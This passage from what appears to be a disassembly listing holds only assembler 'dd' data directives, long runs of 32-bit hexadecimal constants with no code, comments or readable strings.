41FAC750h, 87604836h dd 2F2D90EFh, 0E5055133h, 81CC8197h, 0E32A247Dh, 6EC2F616h dd 31669A40h, 7EA4377Eh, 3349A6Fh, 4A1BB7FEh, 74004C0Ah dd 0BDA8EE6Eh, 0A60289h, 268AB084h, 60753323h, 880F5404h dd 0DF806C25h, 0E093A7B7h, 4E21692Fh, 0BD2E5400h, 0B07AD67h dd 0F4B7FCC9h, 5D511180h, 0D3403CEh, 0B9AC990Eh, 0CB9F8194h dd 57AFC82h, 5E9097B8h, 3330D480h, 525D234Ch, 0AB007203h dd 2FBCC3F0h, 6E4105D3h, 440E292h, 1BCE7A97h, 14828B3Bh dd 80D872DEh, 0A7195505h, 0CCD1029Ah, 0D40E1A5Ch, 600F25Eh dd 3B971C3Ch, 16A7E22Ch, 191A3A0Bh, 72B8ECC3h, 76C00003h dd 982D26Dh, 0BD9D0BA5h, 0D0909A36h, 3702BC9Ch, 38CA5910h dd 0A8EF81AEh, 66223E9Ah, 5FC9BD3Ah, 0FBB2A700h, 7A1D7564h dd 0FA389704h, 9C8587CEh dd 20353181h, 53ACBB30h, 0E758C815h, 4C279844h, 0DB00A08Bh dd 2E62F277h, 0E74C15C2h, 57430CC9h, 9BDB67h, 0B01C97C7h dd 8428A3B3h, 0AA1CBB99h, 0C7202153h, 0C21F69h, 0F65AD181h dd 0C76BE070h, 0E37308A0h, 64F6803h, 8AD8995h, 61C5F7DAh dd 56A83B04h, 0DFCA3291h, 60ED42CAh, 16B7EE8h, 63208CF4h dd 0D057FBDAh, 4D28B92Ah, 0A3188354h, 6C04FFB6h, 5880F592h dd 832F1B0Eh, 1D0096C6h, 1A535646h, 4CA0B0B6h, 0AE309294h dd 0FC6F262Bh, 9E0F2261h, 4630278Bh, 0E8E99078h, 0ECD14A92h dd 5BE40785h, 87F9B2FBh, 6F774E3Ch, 0AAFDBFA0h, 306E4E3h dd 0BB9BA841h, 0C9D8E8AEh, 59DCC05Ah, 0CF632544h, 0E2131DD2h dd 421B0214h, 0D2EDE012h, 0B02FC350h, 0B04091A5h, 7328E5B8h dd 0DCE49C18h, 0F625426Ah, 5FE39F00h, 514301ADh, 0E2EEE713h dd 87EE0A3Fh, 5DFD4600h, 4E760A1Bh, 1A9A8ECh, 5854EF43h dd 4B8337CBh, 66B69150h, 28E5EDF9h, 53C50991h, 8AFB8038h dd 0E011BBh, 72D2373Ah, 0F28EBAAFh, 10BC700Eh, 25121750h dd 1792B012h, 97D14364h, 9FD9BA3h, 24100562h, 0CF509DA1h dd 4994DCC5h, 28718E90h, 735B28E7h, 2A6CEC0Eh, 581E473Fh dd 0E8FF4340h, 1C6D9957h, 0CA6687F8h, 0C6DF307Fh, 0EB94D080h dd 3A2A3A0Dh, 0DAFC30h, 0CBB8A4F6h, 491CABB7h, 7A40094Ah dd 2386ED72h, 6CAF0B6Dh, 332B88BCh, 2C19C520h, 31941689h dd 983489h, 0E1D827Eh, 0F67502D2h, 44257C1h, 51FDF6A0h dd 7004111h, 0C090D2AEh, 4A71CDB1h, 0F3F23766h, 1DB3575Ch dd 283BC7C0h, 0B0A568C0h, 35ECD84h, 82072A49h, 5200B4A1h dd 4C69C812h, 0BABD728Eh, 0D5774Eh, 7CEFA609h, 7ABFD674h dd 83FC6324h, 0C613BB00h, 94AACCF8h, 296C0550h, 1FF58589h dd 0E66D5C2Fh, 910206FDh, 0F3391F8Dh, 0BD074AE6h, 2111319Dh dd 1F9370B2h, 3F1A211Ah, 583193h, 0FC57C484h, 0B696D403h dd 0CCD36F13h, 98A5F198h, 50E094h, 8478C864h, 0BAD50B17h dd 72F84A4Ch, 2854330Ah, 7D16E416h, 3045AA0Dh, 2B004322h dd 915BF87h, 31036066h, 5F190C0Fh, 8F6154F3h, 329E12D7h dd 76AC0135h, 2C105642h, 81F22513h, 36A5EC9Eh, 802A6ACEh dd 822675B1h, 0B4A40ABEh, 885EF2h, 0B3A3A10Dh, 91D59F5h dd 0A0C20F49h, 805AF6B0h, 0F7B1A108h, 4A0A1F5Bh, 0D831F20Ch dd 564977F1h, 0CF2960DCh, 3C4A8759h, 5B2D8BEBh, 3CC862FBh dd 0FA4A745Dh, 2A32457h, 9C6C31F1h, 47F954A2h, 0F0BA5240h dd 9D017145h, 0E204B57Ah, 67977303h, 83FE0505h, 89F801F8h dd 46D65A3Ah, 355EDEAAh, 8ABB805Ch, 0DB35C6C5h, 0B8070C60h dd 3BCA2B1h, 0E000C579h, 66C195A4h, 4D06A3h, 0E16B2919h dd 891F0B45h, 8BF17F00h, 0BCD066FEh, 3D500079h, 0C90F7B94h dd 483F2319h, 11E40F92h, 977F58E8h, 8D8E3ED2h, 0D96B3600h dd 323E60AFh, 7B966D1Eh, 9242BAC0h, 63860F59h, 6E83511h dd 0D97E0B01h, 8C27D1C4h, 0A3E9052Bh, 0AF06AB21h, 61245A44h dd 9EDB1A50h, 0C033F47Eh, 0F7B70F03h, 0B00834FFh, 305FD3BFh dd 91550DE9h, 0DF0F948Ah, 0A10A5340h, 866D22E8h, 0B615F02Bh dd 76752906h, 0E131800Fh, 0C5EF7F0h, 0F87AC8C5h, 2719B426h dd 0D96A2C7Bh, 77011820h, 16823260h, 6780E935h, 0CE4EBA9Ch dd 360DC912h, 4942C800h, 18AA16D8h, 46FDDF27h, 830661DAh dd 514803E8h, 0E8D26212h, 0B45E68F8h, 92851B3Dh, 0F2BE0Ah dd 7962A5C3h, 0A0CD289Bh, 9AB6C01h, 0C5861291h, 7CAD1DE0h dd 290C07C1h, 40172BE6h, 0A916F6CDh, 1D708606h, 7421C63Eh dd 21D21863h, 624D118Fh, 41B7C908h, 26383098h, 3C67E57Fh dd 0DCA02011h, 801F1DB7h, 0D8727EA0h, 1287922h, 5391E68Ch dd 9ECCC093h, 5A83A358h, 7CCD2BFFh, 0C848C811h, 8C1A2911h dd 501008A6h, 1E11DC4Ch, 3A3FB222h, 6900EABDh, 3C789C99h dd 4E00E6CAh, 4F0DA064h, 16B4A73h, 54DF6DC1h, 806F8F3Dh dd 0A9F87910h, 8EEFE4h, 0EDA0DC96h, 0A3500A70h, 0BFB94200h dd 3F361E05h, 85CE1F2Fh, 41670FC5h, 0E250905h, 0B8F579ACh dd 5E97E900h, 5A89842Ch, 8F6AFD00h, 0A1DB3265h, 0E7CF06Bh dd 0D9A0619Bh, 7FFF035Dh, 0E4C07681h, 33005A98h, 0F9547D83h dd 8C2882h, 638B71F8h, 0CC7CE213h, 967E0B00h, 9D77F978h dd 722F0056h, 882E618Eh, 321557A1h, 0C7389017h, 4E87865Ch dd 182A8885h, 37A591Dh, 8B7D0150h, 0B0D3B002h, 80DC2C65h dd 978910D0h, 0DA59006Bh, 7C2E7D28h, 0D3C778Bh, 7EBC60E3h dd 7512859Ch, 0CFD1DF17h, 7D060C71h, 0F889395Ch, 0C045E29h dd 1011CAE6h, 0AC920A19h, 80C80321h, 0C5873220h, 3D149A10h dd 9E8BCE4h, 2015F87Ch, 3E4F0C48h, 6218C4BDh, 56C4FA49h dd 7EA10802h, 0AE1C4028h, 996D055Dh, 10F27DCh, 39A2A32Ch dd 2800209Eh, 44100CA6h, 35B1031Fh, 6C3083BEh, 0C931D43h dd 4E3D9B59h, 0D51C7C79h, 40702291h, 92A16479h, 3840CDB0h dd 0A0C0D959h, 79147828h, 21589C62h, 43BFDFD8h, 0DFE521BFh dd 755E1588h, 25E54102h, 0CA860DEh, 974024B8h, 2A1783CCh dd 2803A1B9h, 9E140BACh, 4A1FF12Bh, 0B8290C40h, 0E420491Ch dd 0BB45187Ah, 0DF4BF03Dh, 0F441E63Ah, 0C659728h, 9853CC0Bh dd 440C20C3h, 98B35127h, 581F02B8h, 599F457Ch, 0CFE768C3h dd 9EC38890h, 0E2586844h, 1976146Bh, 4E86418h, 9876DF88h dd 8C1C55F0h, 10A8BC02h, 1521D39h, 54A026B8h, 0AAC7A98Eh dd 7E85F0A6h, 0F8303A2Ch, 0B0C0A2DCh, 425C90B4h, 6F0C0427h dd 4018BD4Eh, 0C1C2D8A5h, 9948C365h, 6A14C48Ch, 0B8A1CE4h dd 933D9E09h, 97C0287Ch, 3F350C4Ch, 7F913376h, 2703B8B1h dd 0A31D02Fh, 3612F618h, 81106188h, 4210712Ch, 62126764h dd 28941098h, 0C6D12A2Fh, 0C14A12E0h, 1B0C32B4h, 80730D25h dd 0C99469Ah, 8CB85079h, 0B16EF277h, 9C295404h, 7C9A889Bh dd 46C62E0h, 0C7208CF4h, 48A096EDh, 70403B4Fh, 1DE5124Bh dd 542832D1h, 0D4518028h, 0C61A054h, 1C7026D5h, 88581301h dd 0C40C3E45h, 0AC7C5D7Bh, 24990912h, 89B81088h, 3A805CC8h dd 8C0ABD41h, 55503717h, 23AA9CACh, 5443D42Fh, 3A29B162h dd 2A10A04Fh, 0B74C97B0h, 14534024h, 0D6D8DB94h, 77227421h dd 78636192h, 22472650h, 1BE0C3C0h, 51DCB7ADh, 81B7A829h dd 0B4C9FFC4h, 0A4D89AC2h, 589BCD30h, 934CA02Ah, 0C823542Ch dd 0B8915DBCh, 3EFE05BFh, 9400C96Dh, 53BF7F0Eh, 43A4C7Ch dd 86129D08h, 0AB34588h, 40CC3F42h, 9BED91DAh, 647B18C0h dd 63D7177Dh, 0BEBD703Ch, 0ADC546E4h, 919C8260h, 3C4CFFA8h dd 0E3BA11EDh, 0E851E44Dh, 1C6CC13Ch, 551E34B1h, 0FC3C1CD8h dd 4C9DE811h, 1B421E1h, 1C242378h, 25B09088h, 46F80239h dd 0F9DBC200h, 54116B8Eh, 0C909001Eh, 199FE8A4h, 0D001774h dd 7DCC0AABh, 24E9CD28h, 0ACD2D5h, 6EC78E49h, 0C0017C51h dd 0B7907177h, 0CC39AF1Fh, 22C42017h, 62E07E5Ch, 0BE7092D6h dd 6E4CD0E4h, 1887A18h, 4A183A96h, 7A811ABFh, 4D86700Ah dd 7BF0F7B0h, 430074FFh, 0B45721C9h, 796B1D03h, 729E0F30h dd 9800A567h, 4CFAC222h, 21F54E09h, 3454AAFEh, 0BBB4104h dd 84B5780Fh, 3BCAAA00h, 2EA3439Dh, 8007A93Ch, 4598D813h dd 100385h, 28DDADBBh, 72FEECEEh, 3112180Eh, 0F61B40C9h dd 3A05037Ch, 4000772Ch dd 19D8762Bh, 0A4008D25h, 0F587CAF2h, 0E75BD4Bh, 0C9321B33h dd 7CFE0D41h, 9035E0BEh, 74052D3Fh, 0BD4C1A0Ch, 3E2B108Fh dd 0FF003272h, 340EF78Bh, 1E7A33C9h, 4DBE8D0Fh, 3BE1F26h dd 4BF67D2Ch, 1B2EC12Fh, 61C8AE0h, 9EB32A40h, 5AE7B89Fh dd 6BC1FA04h, 208C2F32h, 0B37230B4h, 2952EBB8h, 0F2768318h dd 0EA1001A0h, 83F0DC21h, 2B35F897h, 81C16A09h, 0D68D8622h dd 13720718h, 8742E776h, 0E106B121h, 0A488027h, 0FA043444h dd 0A20D02AFh, 5C3BD64Eh, 0E7FE1B60h, 44584Ch, 24136C5Fh dd 21DD98h, 2DDBD39Fh, 0FF58368Eh, 0B197A300h, 0E22C614Dh dd 0E86B00B5h, 108A9120h, 9E0C650Bh, 18B1AF59h, 322C180Ah dd 0AE8970D8h, 403C0B28h, 3530A5E6h, 8C8EE9A9h, 9E08C615h dd 5F30F907h, 4673C0C4h, 387CA8F0h, 98DB3B35h, 0B7237411h dd 0A4959BD1h, 38931083h, 28606C20h, 0B4F6D968h, 0D02E80E5h dd 0CC9E6980h, 728106F8h, 5A876318h, 40DB2041h, 4E03A041h dd 2F293895h, 0DE57C184h, 7DCD450h, 88CAE63h, 69233341h dd 80BED1F1h, 0E656678Ah, 0A1100988h, 2E070020h, 0EDE2189Dh dd 0F0E47655h, 880E622Dh, 4089A4AFh, 0A54EDECBh, 0E189CAE0h dd 4211248h, 9826651Ch, 29481D28h, 6D30AE64h, 74C28B59h dd 3C00EF7Ch, 40BFB2A4h, 4A338Ch, 0F60D12C9h, 2F0FBE75h dd 1B017207h, 4C8573FEh, 0B06C7898h, 33761650h, 3541F0Fh dd 0DD22105h, 2722AA0h, 13EB4C02h, 98C1F5BCh, 219FA44h dd 7B87C52Ch, 4B06D2Dh, 0FF14DBB3h, 0D00C866Ch, 8FD00408h dd 0DE220CFDh, 6C193098h, 0DF1F78B3h, 0A887A311h, 3A91D5A2h dd 9D9C44ACh, 910D31CEh, 0E6D85B8Ah, 4C8111A1h, 30B4E249h dd 7427B920h, 1910A5E5h, 1203091Fh, 33409A4Fh, 818E208h dd 0BB9D0A70h, 268D1E88h, 0AB85DD9Ch, 0C461CB9Dh, 1091C8D2h dd 195040DEh, 0E0F9E619h, 3199A028h, 129E098Dh, 48A424A3h dd 22A291A1h, 0A5984497h, 0BB129689h, 0B948BC24h, 0CF22BA91h dd 89BDD044h, 0E0D313CEh, 30EE195h, 10DCCC3Bh, 0C119213Dh dd 0E0B825DEh, 0A229844Bh, 0CB957504h, 29850008h, 0A9F43FA0h dd 0DF52039Eh, 94A50F27h, 0DEE850E3h, 0C801B69Dh, 109FAADDh dd 22D17FF4h, 748CA7F0h, 338DB02Ah, 1A40DF72h, 0CA5427E0h dd 21073081h, 41DDE8B6h, 0FA2E9EEBh, 0FA5F4853h, 56FD041Fh dd 88CCAC4Ah, 0FCD801C5h, 6DAD131h, 1F2994E1h, 2302AE38h dd 0CD351C8Ch, 2D7AEE20h, 9EF643Bh, 421850F0h, 0B8ABFE04h dd 2C0E0760h, 30B0A52Dh, 23CCDCEAh, 972185EFh, 382A26A1h dd 6E5EB5C0h, 620F68F1h, 0E6125B2Eh, 18E11Ah, 9A68896h dd 0D27BDEE9h, 29937219h, 0FDF02D39h, 61AB0256h, 9EACBD27h dd 0EA8A28A5h, 0E282E470h, 411F63EBh, 4900A076h, 341C6CB1h dd 0E04BF686h, 78DC7D8Eh, 0A3338ECh, 4E039100h, 9DA28F8h dd 0FD772C00h, 187C2F4Bh, 7814AEA5h, 0F909308Ah, 72351C30h dd 2C10317Ch, 7500038Dh, 862411F6h, 320E4119h, 1FD09EB7h dd 90301C1Fh, 6E300802h, 918018B8h, 72F61A19h, 0FE112D1Dh dd 0F288036h, 7A314C01h, 88801EEEh, 29301C32h, 2C13DA0Ch dd 307C318Ah, 1C591E33h, 0CA6792Ah, 0B100C484h, 86320CFDh dd 762F14F5h, 0A4C7072h, 2B11F77Dh, 1E2840BCh, 0B704464h dd 23FCE878h, 0A849F360h, 2F9DD013h, 7470D642h, 90E5BDh dd 2E7614B4h, 0B00A3A8h, 0FFED16FDh, 1D9C3BDCh, 41AFFAE6h dd 6BC0302Ch, 9E58F0E8h, 0FE59AE02h, 86BFE220h, 0E4710B9Eh dd 58BC0E6Dh, 0A00812F2h, 0A1DEA80Fh, 0AD2A2D8Ch, 1FE22880h dd 2BBA291Ch, 0A5C8E49h, 189EC376h, 1ACA262h, 90BDE21Fh dd 7686E768h, 691731ABh, 0C4E8CC77h, 2A591E31h, 926D292h dd 300F68F9h, 0B9C98140h, 22A32Bh, 249EE35Eh, 415C12F0h dd 8CAB640Fh, 79F47730h, 23993786h, 9D3DA330h, 70932800h dd 9782B437h, 0D1F36187h, 0E09A63E0h, 1D0AAFFDh, 0D00A7964h dd 0B031F664h, 0C6518C6h, 9FF5C38h, 2537B530h, 4C43188Dh dd 168C696h, 780F9A2Ch, 4328D63Fh, 1A4D8A4h, 0ACC42D54h dd 0F851DC46h, 63743E5Eh, 103076B1h, 9EC45194h, 604C4162h dd 0E584465h, 1916184h, 93B021E9h, 20F69784h, 1A3C0B6Ch dd 76308A61h, 1895DF54h, 0A5144CACh, 0E8445848h, 6291C0BAh dd 6C25B62Ch, 0B9DEE830h, 527095A0h, 5F10A41Ch, 93FCAC29h dd 0E8B86C74h, 22C88542h, 15DE3042h, 6C29590h, 0A186BB6h dd 2838503Ch, 477185C8h, 4E8DA008h, 716C1E44h, 0B81288A9h dd 21860835h, 50424351h, 7E0A3550h, 6DC478C9h, 0A356822h dd 0C428D116h, 0DD40215Eh, 1A46C50Fh, 11557862h, 85284FD8h dd 5023ABA2h, 5C094876h, 886C1E26h, 8CA4E823h, 22AA2A41h dd 6786A100h, 7421A060h, 0D22D107Ch, 208C1F11h, 0D4AB44h dd 0D7C6A496h, 0AC231283h, 405619CAh, 0DF78D319h, 40ED04F2h dd 241396F4h, 67A49ABEh, 0A2310F3h, 0D62B634Ch, 0E35D4909h dd 0AF9884BEh, 0F98C3F46h, 3CE9782Bh, 0CFEFD801h, 0EC248A2Bh dd 15F512B8h, 76E8225Ch, 0A886386Ch, 0A03E49C7h, 0F9689329h dd 0A4238D5Fh, 581622DEh, 182078EEh, 196834Ch, 2EEBDB74h dd 503F5C24h, 482DC5CCh, 148ABC26h, 0AB9D1E0Fh, 8EAC8F69h dd 7C401370h, 0F0F44956h, 0F95E0214h, 8DEE945Bh, 61503DE3h dd 0F8001806h, 0EB9DF48Fh, 320DCCh, 37F9DBE1h, 1658A4F5h dd 40124A00h, 9F1ED467h, 0C7610970h, 8C901134h, 9301BD19h dd 627C6A35h, 0CFC45EEAh, 66A304AEh, 0C0C3A93Bh, 931F8270h dd 859D7D03h, 0A224FD04h, 0FB4620EFh, 780068DBh, 1993E761h dd 0BADA4Fh, 0FF8B7C65h, 7367771Fh, 0C4D445Ch, 0E0866850h dd 178E7866h, 0D96448h, 27B52C0Ch, 945468BAh, 3D1658D8h dd 2C12FAF4h, 0B1B5B205h, 0DC71D840h, 16E995Bh, 3160585Dh dd 9EB7D020h, 11164448h, 80C4AC48h, 4C87EB62h, 0CF4477E3h dd 0AABD008Fh, 96C84D2Bh, 0FCE18702h, 0D600302Eh, 8ACFCE5Ch dd 285ADC3Ah, 7DDCB90Bh, 50896076h, 53C82BE3h, 13001BE4h dd 855C771h, 0ED34CE8h, 0E50230D8h, 6BF5BF20h, 6F01C36Eh dd 0CAC8BDAAh, 0E1E0553Bh, 0FD2B0041h, 32955E85h, 0CE0036BBh dd 8A4CDA5Dh, 7405BA61h, 4ADE006Ch, 5E6B2497h, 85031591h dd 0F5D08A48h, 8C30E05Ah, 24B93A79h, 22938F00h, 0C52DAAE1h dd 0AE06E07Ch, 9D628A30h, 99920140h, 0B656E113h, 4964D15Dh dd 967BF040h, 0FDB283Ch, 9CBA8F6Eh, 0A8A24CFh, 984C30BCh dd 787C145Bh, 0B3C11C87h, 498830h, 28EAAF6h, 9D7B8B5Dh dd 6090705Bh, 6B5CF68Fh, 0E10446C4h, 7CB7B87h, 21597870h dd 12A342C8h, 915618B8h, 57DD240Eh, 39D1409Ch, 2B751255h dd 52C2C78h, 5E8D5Dh, 513890C4h, 713ED28Fh, 38D655h, 1DBF67F6h dd 0A91ACD2h, 8F4ADD5Eh, 40385214h, 0D2002A2Bh, 81C6BF17h dd 1530C164h, 0F8907182h, 8E129502h, 9495574Fh, 0F3F50468h dd 33BC72F8h, 0B136C103h, 0E059E6FEh, 718AE3h, 7990589Ch dd 3BD05C87h, 8C23BF13h, 7801005Dh, 58AE4C0h, 92D20960h dd 648F0098h, 71C9D598h, 82796187h, 189008CFh, 1320F628h dd 308B2B9Ch, 0D2215C20h, 28914909h, 50EC0C90h, 0BF749164h dd 9117CB99h, 2B604405h, 5C00FE04h, 9557DCC2h, 250B8B5Eh dd 22DB5FBAh, 46651690h, 581D4940h, 7BD9EF02h, 54C11593h dd 61E5E04Eh dd 8B308A07h, 88814F5Eh, 4089944Ah, 0C0879779h, 0DD274325h dd 7C588CC0h, 10D48E74h, 2989098Ch, 82B0004Bh, 0F129657h dd 13CB7B8Ah, 0B2C2CDDh, 0E0015616h, 98976286h, 60617A10h dd 0C6AC9096h, 28851358h, 5D89EF0Fh, 931601CEh, 4BD1149Dh dd 4D01C8BCh, 4C882890h, 25609F8Bh, 0A130141Eh, 1E8C7885h dd 82648D5Fh, 5556DA61h, 48718C6h, 50F84AD5h, 0DE785F90h dd 0D4E6E2EDh, 169D173Dh, 606325DBh, 30B2C0C9h, 123CC583h dd 64CCC591h, 90189CB8h, 0F0888D24h, 0EF03631Eh, 0A0976487h dd 0F8A5586h, 0A64C175Dh, 13909098h, 787CDE58h, 9D7B8500h dd 924A8C26h, 0F5C0911Dh, 60F8BDF2h, 9A48E132h, 3E02C4B0h dd 57852695h, 13E4CE8Ah, 32DD228Ch, 98C0C10Ch, 23589C8Fh dd 78873ADCh, 288A4C30h, 0B124998Eh, 348C19C4h, 12098B30h dd 0E4C40A87h, 5950E653h, 6905C099h, 0C07984BCh, 9A64D420h dd 5E311098h, 9D7A688Ah, 0EE60DAF1h, 0D0E15912h, 0A978871Ch dd 3C0F492Ch, 9C620093h, 987BDD13h, 58C074F0h, 90491761h dd 8E873E5Ch, 8039B06Fh, 21184D6Bh, 0F5CED050h, 48DA0A4h dd 0F4BFF9DFh, 0B05B71C8h, 8F818427h, 140F23A4h, 0E9188AE3h dd 13C8C8EEh, 878F0BC1h, 50478B5Dh, 0FE24BCD0h, 139A165Dh dd 97D81DDAh, 856440E7h, 0E1268A61h, 0F8D940AAh, 250E50A2h dd 81E4FF6Eh, 648D61AAh, 0FC8E2070h, 0DE5B3E96h, 8B578A01h dd 0D822CB7Bh, 17FC9062h, 4A963C9Eh, 748FD488h, 0C4971DBFh dd 61938087h, 2492577Ch, 0B6798817h, 0CE628C01h, 90708231h dd 42E53AD0h, 6041C43Bh, 94307D50h, 8E242128h, 309A1D79h dd 97931EDBh, 0E1804989h, 0F718C86Ch, 58689B36h, 0DCFC056Ch dd 0D426CE57h, 88342EE8h, 79DD0BAAh, 688550EEh, 2F91AAD8h dd 90B8905Eh, 5D28CE3Dh, 0EF7EF0DBh, 0B6353Ah, 5E9A7BC0h dd 3398258Dh, 0E0218527h, 0DAC08ECFh, 87289748h, 3058E6A2h dd 0C4E06CE9h, 80E1B005h, 104B380Dh, 0CB796BF0h, 588B610Eh dd 628C9F8Ah, 0FAB28CCh, 3F15C8BDh, 0DC1C1052h, 62DF5606h dd 5F1E208Fh, 4A8E13A3h, 648582CCh, 0BBB87095h, 0CF2C8AE0h dd 806C14C4h, 53138C42h, 0E8F8998Bh, 497C8828h, 646FFF7Eh dd 0DC788A88h, 6C259005h, 74D8D010h, 5BF68378h, 94487C13h dd 0BB14041Eh, 9C4A0080h, 7203C224h, 97B0A122h, 58CF053h dd 0CF905F60h, 33DCF286h, 7A56284Eh, 0C8E8D084h, 589C6214h dd 67C4DC94h, 8560B590h, 0C3589A30h, 3004D4A3h, 828F5586h dd 0F49A4A44h, 0A4276453h, 20849AF0h, 0F8DC30E0h, 8C2819BDh dd 3C82B879h, 0F0DB286Ch, 55DDEE4h, 2EA8FA7Ch, 0F59CA5h dd 975F8701h, 0DC98DA56h, 62006FFAh, 82F62495h, 1E683A28h dd 7AB0E783h, 0F29769Fh, 41D8136Eh, 2800D6EEh, 97208CEh dd 0C9BA1067h, 0A8E0F508h, 28166EC5h, 0BA0112CDh, 2AA376F4h dd 3A3525E0h, 1788F1Dh, 0A8E2CC29h, 0F42C8D77h, 8800DFEAh dd 8F7666AEh, 1CAC0291h, 0BE68C24Ch, 8300F63Dh, 0EC806AFFh dd 6960B697h, 0CF7FA5D0h, 2D800BFh, 0A3DA6CF2h, 0F77588CDh dd 7A00C173h, 0D98253C6h, 14122B02h, 20BC35AFh, 188CE7F1h dd 0ABC700A2h, 0EBCA42A3h, 79F68587h, 0CDA12601h, 0C2E1DDD7h dd 0F925BD8h, 167454D3h, 20CDF8Ah, 71E7BABBh, 0F8E04900h dd 0D2F0FD12h, 4F75B2h, 0D959C7EAh, 9B5775BEh, 40349C03h dd 0D019D8E7h, 37AD358h, 361422CAh, 0E1E004C0h, 63064D56h dd 0BE0485Ch, 92D20069h, 40385D7Fh, 0EE15A6CAh, 881CB544h dd 0A0150453h, 34D400D2h, 165BDh, 531E0D8h, 904BA66Bh dd 1A30E700h, 0B314CF7Dh, 322718A0h, 29448F6h, 0D624D50Ah dd 124208E0h, 1E6C00F0h, 98A0AB5Bh, 16034FA1h, 0ECB8E741h dd 7DD006BFh, 386E11F0h, 0C1C0E878h, 0F9978227h, 0DD160272h dd 4059768Dh, 3F21C99h, 0E1F100B9h, 8851C74Fh, 0DDF058BDh dd 797C09FAh, 0DE63B175h, 8044B259h, 0FA455805h, 2D50335Dh dd 211CB608h, 0E005C91h, 0C63DBF89h, 1F0B17A9h, 0F5450ADBh dd 0FA30270h, 880FCE6h, 2B99083Eh, 1614DD0Ah, 5781B0FAh dd 0EBA25E5Bh, 0C2F077C9h, 51AE052Dh, 3113DAB0h, 1989375Ch dd 81A01C18h, 799058E9h, 5025308Eh, 9956FC21h, 97F9523Bh dd 0BD018923h, 8E2445B3h, 3151B670h, 0C9811425h, 0B4898EC7h dd 0D10200F8h, 3C6E7201h, 20E43A22h, 0C16088B8h, 0D6D2A904h dd 3880081Eh, 60295C8h, 255CD33Ah, 4100815Dh, 0D8B9AC76h dd 33C10D77h, 4C089F20h, 6E622103h, 876C3ACh, 7449CBE8h dd 18442C12h, 4E41DE7Bh, 20128D1Ch, 54931AB0h, 61C0D311h dd 7A0DA603h, 493098D8h, 18E849CFh, 6C83447h, 0DA9062h dd 0F2B25CD8h, 0A882E8A2h, 453C3903h, 11200E49h, 7A813A10h dd 0F15E14h, 2A0CDD77h, 0CCECFBh, 74E2BE01h, 0DF7DAE96h dd 8816E32h, 2A186818h, 9CE204B6h, 0D29E3A86h, 5910D640h dd 4307209Ah, 8CDF0409h, 6E20863Ch, 2124668h, 9676E2B8h dd 101B31BEh, 1E2B02Ch, 0DBD85E61h, 80CEEA24h, 38D197B0h dd 49A4023h, 9F9226C8h, 0DD5880A1h, 41E9C0EFh, 8017F8BCh dd 0A4BC2A69h, 3DA713C8h, 940309EFh, 9A7C5CD4h, 47965005h dd 0C807DA33h, 4F81E3A6h, 10A0DD4Bh, 0A7467AA4h, 6002C494h dd 1E0C1D77h, 808FEF1Eh, 18A6E68Dh, 0BB031354h, 3A5C9FFEh dd 58600090h, 0DEF1E8A7h, 5892592Bh, 80C1FA3Fh, 0D8E9D52Fh dd 24615FAAh, 3B7C72EDh, 0AC690246h, 316FD8B8h, 61631045h dd 0F71638ACh, 0B707C607h, 0A13440E3h, 0CA67FE0Ch, 61806E80h dd 3C960655h, 0E12424DAh, 2D478520h, 3B880988h, 4F91B817h dd 0C0082287h, 319A424Bh, 20A7281Fh, 0A1648FC0h, 291F14E3h dd 8B8DBB7h, 1344C06Ah, 69E2BB60h, 11B69623h, 0B32F0006h dd 85CF3FE2h, 422A098Ah, 4C3021CCh, 785514Fh, 8E48419Eh dd 5010060Ch, 0C6C0C928h, 39A25A00h, 0E44D71BBh, 0D50C3F08h dd 17E08986h, 24AEB1B3h, 0AED31F10h, 0A4CBA041h, 8132E005h dd 84F30E4Ch, 0BE1B4729h, 0A07D0100h, 6490669Bh, 0A04C7F32h dd 20C4CA3h, 61A1AB55h, 9868C1C9h, 1E000AE2h, 0BF044A44h dd 0CC1C43EDh, 8121F908h, 461E1203h, 0A07818F6h, 1014B0h dd 0E9442A49h, 60A1A8C6h, 0B0428A4h, 0C4A471Eh, 8020FF62h dd 1BE1E13h, 0F1B3B21Fh, 0D0B5F283h, 0F805209Dh, 643E368Fh dd 0AFB88C61h, 9390BC50h, 0B72B001Fh, 0E4A30EEBh, 2E009707h dd 4BBC7569h, 52F5A84h, 506A2433h, 0DD5CD16Bh, 0DED510D3h dd 0E480A5A8h, 228660FBh, 87151655h, 56A404D7h, 98F60EC8h dd 5E7229h, 2D31A6CBh, 36A34AB6h, 966A1D1Fh, 0B8848870h dd 0AF3F88DCh, 0CB94800h, 0F55FF149h, 924307A7h, 0B09CE4E3h dd 58D3BBD2h, 0E74B38C1h, 28210FECh, 9A46C08h, 9E7DFA20h dd 0D973483h, 0C0C69810h, 6689A001h, 23071296h, 0F69A0C50h dd 5AB1F3h, 4995014h, 44E5A656h, 4FDA9201h, 0BBD9E98Ah dd 0F138FCh, 58DBCDBAh, 745ACFA2h, 7D818C9Bh, 24FE3C6Eh dd 5E88EC22h, 0BBAC68C0h, 0A46758D8h, 0AC8860E3h, 0D2034401h dd 0A0DF4BDEh, 78B06237h, 0B44573FBh, 14109A00h, 74FC7B90h dd 415E0C17h, 7E51512Ah, 5BE2F207h, 0A8806B84h, 23F38D8h dd 0D5F9F59Fh, 5466A6A3h, 874F9409h, 90C014B3h, 10F4618h dd 9675E2BFh, 30627C56h, 0E20E4AD4h, 230031BCh, 0FEF9BFF8h dd 40D88A48h, 0E7482ACCh dd 0B8D784D8h, 40C6EC88h, 6FF8ABF4h, 2E188E60h, 92239A26h dd 0C2AA0000h, 51D1983Bh, 0B262E60Ah, 0C65238h, 0A0EFDC47h dd 79C8E850h, 19B2E125h, 8C15914h, 1C0E2DF5h, 37005192h dd 0E5FF2882h, 8A5B0093h, 46B9E820h, 101273F9h, 3C65951Ch dd 0C062A008h, 4A591E09h, 0E0201C4Ch, 1E1182h, 7299938h dd 0E3C17045h, 3C618CA2h, 875185Bh, 4FD8BCACh, 1F4048C4h dd 551AC6Dh, 174F9102h, 0A0EBF886h, 0FE6B8AD0h, 18DC2880h dd 0F20229B8h, 800E11E4h, 9672E2BCh, 5448C5Eh, 0E2B40028h dd 4972702Bh, 0B7029C41h, 7794DFEDh, 1B4E8FFh, 0DBBA2A58h dd 1C1878D0h, 24BCAF76h, 0B985C1F8h, 9DD510A5h, 8B4A1ED2h dd 8F43DF9Ch, 5FA022E7h, 0AAE6A496h, 39BD9201h, 0DEEAE4CDh dd 2623AC20h, 0CA84944Eh, 805111ACh, 0D8BAAC6Bh, 4A448C9Fh dd 0AC631C61h, 7465C027h, 0B7F0C572h, 4EDF4F09h, 80A40026h dd 925EDE6Ah, 17904CECh, 55666B09h, 